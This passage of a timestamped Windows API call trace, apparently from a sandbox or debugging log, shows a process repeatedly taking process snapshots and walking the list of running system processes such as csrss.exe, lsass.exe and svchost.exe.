dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.792] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0131.794] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0131.795] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0131.797] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0131.798] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.798] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.801] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.801] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.802] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.803] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.803] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0131.804] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.805] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0131.805] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0131.806] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.807] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x76c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0131.808] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0131.808] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0131.809] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0131.810] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0131.811] CloseHandle (hObject=0x144) returned 1 [0131.813] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x154) returned 0x144 [0131.824] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.825] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0131.826] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0131.827] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.829] CloseHandle (hObject=0x144) returned 1 [0131.829] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x178) returned 0x144 [0131.835] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.836] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0131.837] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0131.837] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.838] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0131.839] CloseHandle (hObject=0x144) returned 1 [0131.839] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x184) returned 0x144 [0131.844] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.845] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0131.846] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0131.847] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.848] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0131.849] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.851] CloseHandle (hObject=0x144) returned 1 [0131.851] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x1ac) returned 0x144 [0131.918] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.920] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0131.922] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0131.924] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.925] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0131.927] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.929] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0131.931] CloseHandle (hObject=0x144) returned 1 [0131.931] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x1d8) returned 0x144 [0131.944] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.949] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0131.951] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0131.953] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.955] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0131.957] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.959] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0131.961] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0131.963] CloseHandle (hObject=0x144) returned 1 [0131.963] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x1e0) returned 0x144 [0131.976] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0131.979] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0131.980] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0131.982] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.983] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0131.985] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0131.987] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0131.989] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0131.990] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0131.992] CloseHandle (hObject=0x144) returned 1 [0131.992] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x1e8) returned 0x144 [0132.007] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.010] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.011] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.013] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.016] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.018] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.020] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.022] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.024] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.026] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.028] CloseHandle (hObject=0x144) returned 1 [0132.028] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x254) returned 0x144 [0132.041] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.043] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.045] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.046] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.048] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.050] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.052] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.053] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.055] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.057] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.058] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, 